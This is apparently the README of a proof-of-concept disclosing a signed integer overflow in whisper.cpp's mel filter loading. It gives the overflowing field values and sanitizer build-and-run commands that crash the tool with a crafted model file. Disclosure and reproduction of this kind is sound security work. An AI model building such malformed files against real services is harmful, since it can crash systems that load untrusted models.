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poc-whisper-mel-integer-overflow

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PoC: Signed Integer Overflow in whisper.cpp Mel Filter Loading

Format: GGML (.bin) Target: whisper.cpp (ggml-org/whisper.cpp) CWE: CWE-190 (Integer Overflow)

Vulnerability

Signed integer overflow in mel filter size calculation. n_mel=0x7FFFFFFF * n_fft=2 overflows int32 → massive vector::resize() → crash.

Reproduction 

git clone https://github.com/ggml-org/whisper.cpp && cd whisper.cpp
mkdir build-asan && cd build-asan
cmake .. -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g" \
  -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined"
make -j$(nproc)
./bin/whisper-cli -m ../poc_mel_overflow.bin -f /dev/null

UBSan reports: runtime error: signed integer overflow: 2147483647 * 2

Tested: whisper.cpp commit 364c77f4